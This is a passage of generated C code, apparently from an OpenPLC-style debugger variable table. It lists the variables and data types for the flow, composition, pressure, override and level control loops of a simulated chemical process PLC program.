+{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SUB59_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ADD58_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FIRST_RUN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_SET), UINT_ENUM}, +{&(RES0__INSTANCE0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.B_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.C_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.HMI_PRESSURE), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_LEVEL), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.SCAN_COUNT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_K), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, 